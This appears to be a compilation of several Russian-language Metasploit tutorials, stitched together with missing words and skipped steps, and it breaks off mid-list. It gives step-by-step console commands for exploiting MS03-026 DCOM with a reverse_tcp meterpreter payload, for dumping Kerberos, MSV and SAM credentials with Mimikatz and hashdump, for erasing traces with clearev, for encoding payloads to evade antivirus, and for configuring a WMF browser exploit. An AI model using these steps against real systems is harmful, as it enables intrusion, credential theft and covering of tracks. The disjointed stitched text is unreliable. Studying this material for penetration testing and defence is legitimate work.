Soft Начало работы с Metasploit. Исследование уязвимостей с помощью Metasploit Framework Metasploit технология
Мы написали много статей по взлому с использованием Metasploit , в том числе о том, как не оставлять следов, об изучении внутренней архитектуры сайта, а также массу шпаргалок по командам и скриптам.
Этим руководством мы начинаем объемную серию статей для обучения и использования Metasploit . Эта первая ознакомительная часть, где кратко будут рассмотрены основы Metasploit - одной из самых мощных хакерских платформ на планете Земля.
Происхождение и установка Metasploit
Metasploit - проект с открытым исходным кодом, разработанный хакером HD Moore в 2003 году. Первоначально он был написан на Perl , но в 2007 году полностью переписан на Ruby . В 2009 году был выкуплен Rapid7 , компанией специализирующейся на предоставлении услуг по информационной безопасности, которая также выпустила сканер уязвимостей Nexpose .
Metasploit версии 4.12 уже включен в дистрибутив Kali Linux . Он также встроен в BackTrack . Если вы используете другой дистрибутив Linux или MaxOS , то вам придется скачать его с сайта Rapid7 .
Если вы используете Windows , то вам также придется скачать Metasploit с сайта Rapid7 , но мы не рекомендуем запускать его в Windows . Вы, безусловно, сможете это сделать, однако многие функции, которые мы будем рассматривать в этой статье, просто не будут там работать.
У Metasploit есть несколько версий, в том числе Metasploit Pro (полностью коммерческая версия) и Community Edition (бесплатная). Вот последняя как раз и встроена в Kali . Мы сосредоточимся на Community Edition , поскольку мы думаем, что большинство из вас не будет покупать Pro версию стоимостью в $ 30 000.
Способы использования Metasploit
Metasploit можно использовать несколькими способами. Наиболее распространенный способ, который и мы все время используем - это интерактивная консоль Metasploit . Она активируется путем ввода msfconsole в командной строке Kali . Существует также несколько других методов.
Msfcli
Начнем с того, что вы можете использовать Metasploit из командной строки Kali или в режиме msfcli . На первый взгляд кажется, что когда мы находимся в консоли, мы используем командную строку. В действительности же мы используем интерактивную консоль со специальными ключевыми словами и командами. Когда же мы работаем из msfcli , то фактически используем командную строку Linux.
Чтобы получить информацию обо всех доступных командах msfcli , наберите в консоли:
Kali > msfcli -h
Теперь, чтобы выполнить эксплоит из msfcli наберите команду:
Kali > msfcli
Где «E» - сокращение от «Execute» (выполнить)
В нашей статье по созданию payload (полезных нагрузок) для защиты от антивирусных программ мы используем команду msfencode и msfpayload в режиме командной строки (msfcli ).
Недостатком использования msfcli является то, что он не так хорошо поддерживается как msfconsole , и вы ограничены единственным шелом, что делает некоторые из более сложных эксплойтов невозможными.
Armitage
Если вы хотите использовать Metasploit с графическим интерфейсом (GUI), то здесь есть несколько вариантов. Например, Рафаэль Мадж (Raphael Mudge) разработал Armitage (это имя главного героя в весьма оригинальной научно-фантастической книге о кибер-хакинге «Neuromancer». Ее должен прочитать каждый хакер, которому нравится жанр SciFi ).
Чтобы запустить Armitage в Kali , просто введите:
Kali > armitage
Если Armitage не может соединиться, то попробуйте другие команды:
Kali > service start postgresql kali > service start metasploit kali > service stop metasploit
Armitage - это графический интерфейс поверх самого Metasploit , построенный на архитектуре клиент-сервер. Вы запускаете Metasploit в качестве сервера, и Armitage становится его клиентом, предоставляя вам полный доступ к функциям Metasploit с помощью полнофункционального, хотя и не интуитивно понятного GUI . Если вам действительно нужен GUI , чтобы чувствовать себя комфортно, то, пожалуйста, используйте Armitage . Но овладение командной строкой - практически жизненная необходимость для любого уважающего себя хакера.
Модули
У Metasploit есть шесть разных модулей:
- payloads
- exploits
- post
- nops
- auxiliary
- encoders
Payloads - это код, который мы оставляем на взломанной системе. Некоторые называют их слушателями (listener), руткитами (rootkit) и т.д. В Metasploit они называются payload (полезными нагрузками). Payloads включают утилиты командной строки, Meterpreter и т.д. Payload ‘ы бывают разных типов, например, staged , inline , NoNX (обходит функцию «No Execute» (без выполнения) в некоторых современных процессорах), PassiveX (обходит правила брандмауэра об исходящем трафике), IPv6 и другие.
Exploits - это шелл-код, который использует уязвимость или недостатки в системе. Это очень специфичный код. Например, есть эксплоиты для операционной системы, пакетов обновлений (SP), для конкретных служб, портов и даже для приложений. Их также можно классифицировать по типам операционных систем, поэтому эксплойт Windows не работает в Linux и наоборот.
Post - это модули, которые мы можем использовать для пост эксплуатационных атак системы (т.е. после получения доступа к системе).
Nops - сокращение от No OPerationS. В процессорах семейства x86 обычно указывается как шестнадцатеричный 0x90. Это просто означает «ничего не делать». Это может иметь решающее значение для атак переполнения буфера (buffer overflow). Мы можем посмотреть модули nops с помощью команды show .
Msf > show nops
Auxiliary - включает в себя множество модулей (695), которые не вписываются ни в одну из других категорий. К ним относятся такие вещи, как фьюзеры (fuzzer), сканеры (scanner), модули для DoS-атак (на отказ в обслуживании) и многое другое. За более подробной информацией отсылаю вас к нашей статье об Auxiliary модулях.
Encoders - это модули, которые позволяют по-разному кодировать нашу полезную нагрузку (payloads), чтобы обойти антивирусное ПО и другие системы безопасности. Мы можем увидеть эти кодировщики, набрав:
Msf > show encoders
Как видите, в Metasploit встроено довольно много кодировщиков. Один из наших фаворитов - shikata_ga_nai . Он позволяет использовать payload XOR , что помогает обманывать антивирусные программы и другие системы безопасности.
Поиск
В Metasploit 4 появилась возможность поиска. Раньше приходилось использовать msfcli и команду grep , чтобы найти модули. Теперь Rapid7 добавил поиск по ключевым словам и некоторые другие особенности. Добавление поиска было очень своевременным, поскольку Metasploit значительно разросся, а обычного поиска по запросам grep было уже недостаточно, чтобы найти что-нибудь среди более чем 1400 эксплойтов.
Поиск по ключевым словам позволяет выполнять как простой поиск, так и делать более детализированные поисковые запросы. Например, мы можем определить тип модуля, который нужно найти, используя ключевое слово type:
Msf > search type:exploit
Если мы это сделаем, то Metasploit вернет нам 1295 эксплойтов. Не очень полезно.
Но если мы знаем, что хотим атаковать машину Sun Microsystems под управлением Solaris (Sun UNIX ), то мы можем уточнить наш поиск и искать только эксплоиты для Solaris . В этом случае нам нужно использовать ключевое слово platform .
Msf > search type:exploit platform:solaris
Теперь мы сузили наш поиск до тех немногих эксплойтов, которые будут работать против Solaris .
Для дальнейшего уточнения поиска предположим, что мы хотим атаковать Solaris RPC (sunrpc ) и, соответственно, нам нужно видеть только те эксплоиты, которые атакуют эту конкретную службу. Мы добавляем ключевое слово «sunrpc » в наш поисковый запрос, как показано ниже:
Msf > search type:exploit platform:solaris sunrpc
Как видите, это сузило результаты поисковой выдачи до пяти модулей эксплойтов!
У Metasploit есть много возможностей, которые мы продолжим рассматривать в следующих статьях по Metasploit . Попробуйте пока некоторые из хаков на Metasploit ‘е, описанные в других постах на сайте. Возвращайтесь обязательно! Вы изучите Metasploit и научитесь взламывать, как профессионал!
Отказ от ответственности : Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.Практического руководства по использованию дистрибутива Kali Linux для аудита ИБ и проведения пен-тестов. Сегодня же мы обратим пристальное внимание на один из инструментов входящих в данный дистрибутив - Metasploit Framework . Рассмотри историю возникновения проекта, а так приведем конкретные руководства и документации способствующие практическому освоению пакета Metasploit
История проекта
В 2003 году, хакеру, известному как «HD Moore» , пришла в голову идея разработать инструмент для быстрого написания и использования эксплоитов . Так на свет появился известный во всех кругах проект Metasploit project .
Первая версия фреймфорка была написана на языке Perl, содержавшая псевдографический интерфейс на базе библиотеки curses. На тот момент это был просто набор разрозненных эксплойтов и скриптов, общие сведения о которых хранились в единой базе данных. Информация о необходимом окружении для запуска скриптов, как правило, отсутствовала. Также они несли в себе кучу устаревшего кода, требовали модификации жестко прописанных путей для каждого конкретного случая, что весьма затрудняло рабочий процесс и усложняло разработку новых инструментов.
При работе над второй (2.x) версией к HD Moore присоединился Мэтт Миллер и еще несколько добровольцев. Третья версия была полностью переписана на Ruby, её разрабатывала компания Metasploit LLC (основанная вспе теми же разработчиками в 2006 году). Через год в 2008 лицензия Metasploit Framework была сменена с проприетарной на BSD. А еще позднее в 2009 году фирма Rapid7 , занимающаяся управлением уязвимостями, объявила о приобретении Metasploit , программного пакета двойного назначения для проведения тестов на проникновение . Так же сообщалось, что некоммерческая версия утилиты по-прежнему будет доступна для всех желающих.
С момента приобретения фреймфорка, многое изменилось.
Появились PRO и Community версии, а в 2010 году, в свет вышла более упрощенная версия для «малоквалифицированных» пользователей - Metasploit Express .
Версии
Сегодня Metasploit распространяется в четырех версиях:
- Framework - базовая версия с консольным интерфейсом;
- Community - бесплатная версия, включающая дополнительно веб-интерфейс и часть функционала из коммерческих версий;
- Express - для коммерческих пользователей, включает функционал, позволяющий упростить проведение базовых аудитов и формирование отчетности по ним;
- Pro - самая продвинутая версия, предоставляет расширенные возможности для проведения атак, позволяет формировать цепочки задач для аудита, составлять подробную отчетность и многое другое.
Armitage графическая оболочка
По сравнению с остальными интерфейсами Armitage позволяет в наглядном виде представить все этапы атаки, включая: сканирование узлов сети, анализ защищенности обнаруженных ресурсов, выполнение эксплоитов и получение полного контроля над уязвимой системой.
Все функции программы структурированы и легкодоступны из меню и вкладок программы, даже для начинающего исследователя компьютерной безопасности. Программа предназначена для использования на платформах Linux и Windows. На веб-сайте разработчиков присутствуют исходные коды, справочные руководства в текстовом и видео формате.
Базовые понятия1. База данных
До начала работы с пакетом нужно учесть возможность использования базы дынных, для хранения информации о хостах, сервисах, уязвимостях и прочем. Подключение к базе весьма не обязательное условие для функционирования фреймворка, но тем не менее повышающее удобство использоавния производительность.
Metasploit использует PostgreSQL, поэтому до начала работы с ним понадобится установить СУБД на свою систему. Затем убедиться, что запущены нужные сервисы БД и фреймворка.
2. Структура фремворка
«Сердце» Metasploit - библиотека Rex. Она требуется для операций общего назначения: работы с сокетами, протоколами, форматирования текста, работы с кодировками и подобных. На ней базируется библиотека MSF Core , которая предоставляет базовый функционал и «низкоуровневый» API. Его использует библиотека MSF Base, которая, в свою очередь, предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а также подключаемых модулей .
Все модули делятся на несколько типов, в зависимости от предоставляемой функциональности:
- Exploit - код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение стека)
- Payload - код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее)
- Post - код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы)
- Encoder - инструменты для обфускации модулей с целью маскировки от антивирусов
- NOP - генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер
Auxiliary - модули для сканирования сети, анализа трафика и так далее.
3. Общие команды MSFCONSOLE
Несмотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по-прежнему остается консольный интерфейс msfconsole .
Рассмотрим основные команды:
- use - выбрать определенный модуль для работы с ним;
- back - операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
- show - вывести список модулей определенного типа;
- set - установить значение определенному объекту;
- run - запустить вспомогательный модуль после того, как были установлены необходимые опции;
- info - вывести информацию о модуле;
- search - найти определенный модуль;
- check - проверить, подвержена ли целевая система уязвимости;
- sessions - вывести список доступных сессий.
Metasploit - настолько мощный инструмент, что мы в статьях можем только слегка поцарапать поверхность его возможностей. Постоянная его разработка и улучшения ведутся много лет, и сейчас Metasploit можно использовать практически для любых задач, начиная от разведывательных действий, пост-эксплуатации и заканчивая скрытием ваших следов. Учитывая его универсальность, каждый начинающий хакер должен иметь хотя бы поверхностное понимание того, как работать с Metasploit.
Всякий раз, когда выходит какой-нибудь мощный модуль пост-эксплуатации, каждый пользователь Metasploit должен знать об этом, потратить время и научиться его использовать. Mimikatz - один из таких модулей. Он был создан Бенджамином Делпи (Benjamin Delpy) с ником gentilkiwi, который разработал его, чтобы выучить язык C, а заодно исследовать Windows на безопасность. В принципе, этот модуль способен извлекать различные наборы учетных данных Windows прямо из оперативной памяти.
Первоначально Mimikatz разрабатывался как автономный модуль, который мы можем загружать или запускать локально на целевом компьютере. Но недавно Rapid7 портировали его для Metasploit, сделав из него сценарий для Meterpreter. Преимущество этого подхода заключается в том, что он работает полностью в памяти, не оставляя на жестком диске никаких следов своего присутствия, которые могут быть в последствии обнаружены.
В этом уроке мы будем использовать модуль Metasploit, который немного ограничен в своих возможностях, но мы обещаем, что сделаем в ближайшее время подробную статью о более мощном автономном инструменте.
Еще один ключевой момент перед тем, как мы начнем: есть 32- и 64-битные версии Mimikatz. Часто Mimikatz загружает 32-битную версию, если мы использовали 32-битный процесс для компрометации системы. Если вдруг это произойдет, то Mimikatz будет практически полностью нефункциональным. Чтобы избежать этой потенциальной проблемы необходимо использовать команду «migrate» для перевода Meterpeter в 64-битный процесс перед загрузкой Mimkatz. Таким образом, он загрузит 64-битную версию, и вы получите, наконец, доступ ко всем его потрясающим возможностям.
Шаг 1. Эксплуатация целевой машины и использование полезных нагрузок Meterpreter
Mimikatz - это пост-эксплуатационный модуль, а это означает, что его можно использовать только после того, как цель будет эксплуатирована. В результате мы начнем рассмотрение работы этого модуля, исходя из предположения о том, что вы успешно произвели эксплуатацию уязвимости на целевой машине и установили полезную нагрузку (payload) Meterpreter в целевой системе. Кроме того, для работы Mimikatz вам понадобятся полномочия системного администратора. Если вы провели эксплуатацию уязвимостей целевой системы как обычный пользователь, то вы можете использовать команду getsystem для получения расширенных прав.
Meterpreter > getsystem
Теперь, когда у нас есть привилегии администратора, нам нужно загрузить модуль Mimikatz.
Meterpreter> load mimikatz
Теперь посмотрим справку.
Meterpreter> help mimikatz
Как вы можете видеть, у Mimikatz есть несколько собственных команд и специальная команда mimikatz_command, которая позволяет запускать пользовательские команды.
Meterpreter > mimikatz_command -f version
Metasploit портировал только версию 1.0, хотя Mimikatz находится в версии 2.0 (следите за нашими следующими статьями об использовании автономной версии Mimikatz 2.0).
Шаг 2. Собственные команды
Начнем с того, что посмотрим, что можно сделать с системой при помощи собственных команд Mimikatz. Если мы хотим получить учетные данные Kerberos, нужно просто ввести:
Meterpreter> kerberos
Мы можем получить учетные данные Windows MSV, набрав:
Meterpreter> msv
Шаг 3. Mimikatz_Command
Mimikatz также позволяет создавать пользовательские команды. Команды принимают следующий синтаксис. Обратите внимание на двойное двоеточие (: 🙂 между типом команды и действием команды.
Mimikatz_command -f::
Если мы хотим получить хеши паролей из файла SAM, мы можем использовать такую команду:
Meterpreter > mimikatzcommand -f samdump::hashes
Конечно, получив эти хеши, мы можем взломать их любым из нескольких инструментов для взлома паролей, таким как «Cain и Abel», Hashcat, «John the Ripper» и другие.
Если мы хотим получить список сервисов, запущенных на целевой системе, то можем использовать команду service в сочетании командой list.
Meterpreter > mimikatz_command -f service::list
Шаг 4. Crypto
У Mimikatz есть специальный тип команды, которая обрабатывает зашифрованную информацию и, как вы могли догадаться, называется она crypto. Используя эту команду, мы можем получить список поставщиков шифрования на целевой системе.
Meterpreter > mimikatz_command -f crypto::listProviders
Оригинал: Penetration Testing with Metasploit Framework
Автор: Dinesh Shetty
Дата публикации: июль 2011 г.
Перевод: В. Семененко
Дата перевода: июль 2011 г.
Введение
Наверняка, когда я произношу - "Инструмент для пентестинга" ("Penetration Testing tool"), первое, что приходит вам в голову при упоминании этих словосочетаний - имя . И не мудрено! Этот проект является одним из крупнейших в мире, написанных на языке Ruby . Суммарное колличество его строк превышает 700 000! На сегодня является стандартом де-факто для пентестинга и поиска уязвимостей. Колличество ежегодных скачиваний экземпляров программы зашкаливает за один миллион. Проект также обладает самой большой в мире общедоступной базой данных для проверенных и качественных эксплоитов .
В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc . Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole , как показано на скриншоте Figure3 .
Шаг 4 :
Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom . Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.
Шаг 5 :
В общем случае запуск команды use
Как видно на скриншоте Figure4 , после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) > . Это означает, что мы перешли во временное окружение этого эксплоита.
Шаг 6
:
Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135 . Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST .
Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129 ., как на скриншоте .
Шаг 7 :
Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload"ов можно увидеть с помощью команды show payloads .
Как видно на скриншоте , команда show payloads покажет нам все payload"ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter , задав его командой set PAYLOAD windows/meterpreter/reserve_tcp , что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.
Обратите внимание, что параметр LHOST для payload"а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128 .
Шаг 8 :
Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.
Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте хорошо видно, что в нашем случе это именно так.
Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.
В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check .
Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.
На скриншоте видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter > .
Шаг 9 :
Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.
Ниже показаны результаты некоторых команд meterpreter:
- ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
- getuid - отображает имя сервера в консоли;
- hashdump - создает dump базы данных SAM;
- clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.
Таким образом, мы успешно использовали фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.
Потенциальные возможности использования фреймворка Metasploit:
- может использоваться при пентестинге для создания отчетов, совместно с другими системами автоматического обнаружения уязвимостей. С помощью этого фреймворка можно установить, являются ли уязвимости реально опасными и можно ли ими воспользоваться для проникновения в систему.
- может использоваться для тестинга новых эксплоитов, которые появляются буквально каждый день. Такую проверку вы можете делать на локальном сервере, специально предназначенном для этих целей. С помощью этого фреймворка вы легко можете проверить, эффективен ли новый эксплоит или нет.
- также является великолепным инструментом в ваших системах пентестинга для проверки, настроены ли должным образом IDS в случае возникновения атак.
Заключение
Эта статья является поверхностным обзором по использованию фреймворка . Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с , приобретенный в этой статье, поможет вам понять принципы работы эксплоитов. Что может в дальнейшем быть хорошим подспорьем для написания своих собственных эксплоитов . А это, в свою очередь, поможет вам выполнять задачи пентестинга на более высоком и качественном уровне.
Многие слышали наверно слова Метасплоит, метафайлы, эксплоит, шелл, уязвимость. Очень много вопросов возникает у пользователей (начинающих скрипткидисов, а так же тестеров сплоитов и уязвимостей) которые с этим так или иначе сталкиваются, вот как раз для них эта статья.
Тут я расскажу Вам что такое проект Metasploit Framework и как им пользоваться. Сразу скажу что статья рассчитана для тех кто задаёт вопросы типа этих:
- cd \
cd %SystemRoot%\system32
msfconsole: chdir: failed to change directory No such file or directory
Это как понимать??? - или типа этого:
+ — —=[ msfconsole v2.6 - msf > ls exploits
msf >
А как понимать это???
Основные понятия и термины используемые в статье
Эксплоит: (англ. exploit - использовать) - это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.
Шелл-код: Код оболочки, шелл-код (англ. shellcode) - это двоичный исполняемый код, который обычно передаёт управление консоли, например ‘/bin/sh’ Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.
Реверс-шелл: При эксплуатации удаленной уязвимости шелл-код может открывать заранее заданный порт TCP уязвимого компьютера, через который будет осуществляться дальнейший доступ к командной оболочке, такой код называется привязывающим к порту (англ. port binding shellcode). Если шелл-код осуществляет подключение к порту компьютера атакующего, что производится с целью обхода брандмауэра или NAT, то такой код называется обратной оболочкой (англ. reverse shell shellcode).
Уязвимость: В компьютерной безопасности, термин уязвимость (англ.vulnerability) используется для обозначения слабо защищённого или открытого места в системе. Уязвимость может быть результатом ошибок программирования или недостатков в дизайне системы. Уязвимость может существовать либо только теоретически, либо иметь известный эксплойт.
Уязвимости часто являются результатом беззаботности программиста, но, также, могут иметь и другие причины. Уязвимость обычно позволяет атакующему обмануть приложение, например,с помощью внедрения данных каким-нибудь незапланированным способом, выполнения команды на системе, на которой выполняется приложение, или путем использования упущения, которое позволяет получить непредусмотренный доступ к памяти для выполнения кода на уровне привилегий программы.
Некоторые уязвимости появляются из-за недостаточной проверки данных, вводимых пользователем; часто это позволяет напрямую выполнить команды SQL (SQL-инъекция). Другие уязвимости появляются из-за более сложных проблем, таких как запись данных в буфер, без проверки его границ, в результате буфер может быть переполнен, что может привести к исполнению произвольного кода.
Cygwi (Цигвин): набор свободных программных инструментов разработанных фирмой Cygnus Solutions, позволяющих превратить Microsoft Windows различных версий в некоторое подобие Unix-системы. Изначально Cygwin задумывался как среда для переноса программ из POSIX-совместимых операционных систем (таких как GNU/Linux, BSD и UNIX) в Windows. Программы, портированные с помощью Cygwin, работают лучше всего в Windows NT, Windows 2000, Windows XP и Windows Server 2003, но в некоторых случаях годятся Windows 95 и Windows 98. В настоящее время проект Cygwin разрабатывается сотрудниками Red Hat и другими программистами. Подобные функциональные возможности предлагает также и Microsoft в своём пакете Services for UNIX, включающем в себя подсистему Interix.
Perl (Перл): Язык программирования. Создатель Ларри Уолл (Larry Wall). Само слово Perl - аббревиатура, которая расшифровывается как Practical Extraction and Report Language (практический язык извлечений и отчётов, отчего сначала язык назывался PEARL, но затем буква «A» «потерялась»). Существует также ряд других вариантов. Согласно самому красивому из них, название perl произошло от слова pearl (жемчужина). Талисманом языка Perl является верблюд - не слишком красивое, но очень выносливое животное, способное выполнять тяжелую работу. Основной особенностью языка считаются его богатые возможности для работы с текстом, реализованные при помощи регулярных выражений.
Что такое Metasploit Framework?
Metasploit Framework (согласно описанию) это законченная среда для написания, тестирования и использования кода эксплойтов. Эта среда обеспечивает надежную платформу для испытаний на проникновение, разработки шелкодов и исследования уязвимостей». Написан на Perl (с некоторыми частями на ассемблере, Python и C) – отсюда нет привязки к какой либо платформе – будет работать в любой системе, где есть интерпретатор Perl`a (с оговоркой, см. дальше). На данный момент, пакет Metasploit Framework функционирует как на Linux так и на Windows, а так же на Мас. Скачать последнюю версию пакета для соответствующей ОС можно здесь: http://www.metasploit.com/
(Среда под Windows базируется на доработанном Cygwin, что удобно, т.к это дает пользователю известную консоль. Однако, были некоторые проблемы с поддержкой Active Perl, поэтому поддерживается только Cygwin Perl.
Установка (для win- пользователей)
Инсталятор для windows содержит всё необходимое (Сygwin, Perl), т.е. пользователям windows дополнительное ПО скачивать не потребуется.
Качаем (доступная версия 2.6 для windows на момент написания статьи).
Сейчас она актуальней (больше сплоитов).
Запускаем инсталятор: framework-2.6.exe
Получаем: в C:\Program Files\Metasploit Framework\
cygwin.bat (41.0B) — запуск cygwin
msfconsole.bat (86.0B) — запуск консоли MSF
msfupdate.bat (85.0B) — запуск обновления пакета
msfweb.bat (82.0B) — запуск WEB-интерфейса пакета
Metasploit Framework.url (51.0B) — линк на сайт разработчиков
uninst.exe (47.6KB) — деинстализация пакета
а также папки bin, etc, home, lib, sbin, tmp, usr, var — хорошо известные поклонникам Unix-систем.
Использование
Пакет Metasploit Framework имеет два варианта работы: msfconsole (консольный) и web- интерфейс msfweb. Мне удобней всегда работать в msfconsole. Это интерфейс командной строки (по типу cmd с минимальным набором команд), имеющий собственное программное окружение и систему команд. Чтоб посмотреть основные команды наберите в консоли help. Для тех у кого туго с английским привожу перевод help`a. Рассмотрим консольный вариант работы пакета.
Metasploit Framework Main Console Help
? ———— Show the main console help (Показать главное окно помощи)
cd ———— Change working directory (Выбрать рабочую директорию)
exit ———- Exit the console (Выход из консоли)
help ——— Show the main console help (Показать главное окно помощи)
info ———- Display detailed exploit or payload information (Вывести на дисплей детальную инфу о эксплоите или начинке)
quit ———- Exit the console (Выход из консоли)
reload ——— Reload exploits and payloads (Перезагрузить эксплоит и начинки)
save ——— Save configuration to disk (Записать конфигурацию на диск)
setg ———- Set a global environment variable (Установить глобальную переменную окружения)
show ——— Show available exploits and payloads (Показать доступные эксплоиты и начинки)
unsetg ——- Remove a global environment variable (Удалить глобальную переменную окружения)
use ———— Select an exploit by name (Выбрать эксплоит по имени для использования)
version ——- Show console version (Показать версию консоли)
—-нет в help`е——
ls ————- List the current directory (Показать файлы в текущей директории)
exploit ——— Run exploit (Запуск эксплоита)
msf >
М…да, скажете вы help бедноват и команд мало. Ну ничего, сами догоним что к чему.
cd [имя_директории]- стандартная команда (как и в cmd, так и в древнем дос — делает то же самое и здесь, с ней всё ясно, для тех кто в танке наберите help cd в консоли cmd)
Конечно всем не терпится использовать команду use [имя эксплоита], а затем установить переменную PAYLOAD какой либо вкусной начинкой, но всё по порядку, начнём!
Распрастранённые ошибки 90% новичков
1. Ошибка
- Первая команда юзера после загрузки консоли ls exploits
В этом случае их постигает такой облом: - msf > ls exploits
ls: exploits: No such file or directory
msf > - И все разом говорят у меня нет эксплоитов!
А надо сделать всего лишь команду ls без параметров, чтоб посмотреть где мы находимся. - msf > ls
framework perl.exe.stackdump run_msfupdate userguide.pdf
framework.tar run_msfconsole run_msfweb
msf > - Вот теперь мы видим, что папки с эксплоитами тут нет, так как она, скорее всего, находится внутри папки framework.
В чём проблема, переходим в папку framework и посмотрим там: - msf > cd framework
msfconsole: chdir: changed to directory framework
msf > - Прекрасно! Теперь глянем что тут внутри скомандовав ls:
- msf > ls
data exploits msfcli msfencode msfpescan nops src
docs extras msfconsole msflogdump msfupdate payloads tools
encoders lib msfelfscan msfpayload msfweb sdk
msf > - О! Сколько тут всего! И эксплоиты и начинки и доки. Вот теперь можно командовать ls exploits
- msf > ls exploits
3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
Credits.pm ms05_039_pnp.pm
————-много других эксплоитов——————-
mercantec_softcart.pm wsftp_server_503_mkd.pm
mercur_imap_select_overflow.pm wzdftpd_site.pm
mercury_imap.pm ypops_smtp.pm
minishare_get_overflow.pm zenworks_desktop_agent.pm
msf > - Во! Сколько сплоитов! (А говорили нет эксплоитов. оказывается всё со сплоитами в порядке — они есть)
2 Ошибка
- Команда use [имя_экплоита.pm]
- msf > use ie_xp_pfv_metafile.pm
msfconsole: use: please specify a valid exploit name
msf > - Расширение эксплоита pm — указывать не надо, только имя сплоита!
- msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile >
3 Ошибка
- После удачного выбора нужного сплоита сразу выбирают начинку (забывая про параметры)
- msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > exploit
Error: Missing required option: LHOST
msf ie_xp_pfv_metafile(win32_reverse) > - Облом! Это что ещё? Перевожу отсутствует (не задана) рекомендованная опция (параметр) LHOST
Вообщем перед тем как начинять сплоит, я советую задать (установить) все необходимые параметры с помощью команды set.
У каждого сплоита их может быть разное количество (зависит от конкретной уязвимости)
Ну и что делать, как узнать какие параметры у какого сплоита? Ответ уже был выше! в help`e! Командуем: info [имя_сплоита], например узнаем всё про wmf-сплоит (ie_xp_pfv_metafile) - msf > info ie_xp_pfv_metafile
Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Executi
Class: remote
Version: $Revision: 1.18 $
Target OS: win32, winxp, win2003
Keywords: wmf
Privileged: No
Disclosure: Dec 27 2005 - Provided By:
H D Moore san
O600KO78RUSunknown.ru - Available Targets:
Automatic — Windows XP / Windows 2003 / Windows Vista - Available Options:
- Exploit: Name Default Description
——— ——— ——- —————————————
optional REALHOST External address to use for redirects
T)
optional HTTPHOST 0.0.0.0 The local HTTP listener host
required HTTPPORT 8080 The local HTTP listener port - ……….пропущено………….
msf > - Вот вам вся и подробная инфа о сплоите, нас интересует optional
Для ленивых:
HTTPHOST (LHOST) — Локальный IP адрес сервера на котором повиснет сплоит (адрес твоего компа)
HTTPORT (LPORT) — его порт (8080 — по умолчанию)
REALHOST (RHOST) — внешний адрес для редиректа (WAN — адрес если твой комп находится за NAT)
4. Ошибка
- Важно! Всегда и везде имена переменных окружения писать только ЗАГЛАВНЫМИ буквами!
5. Ошибка
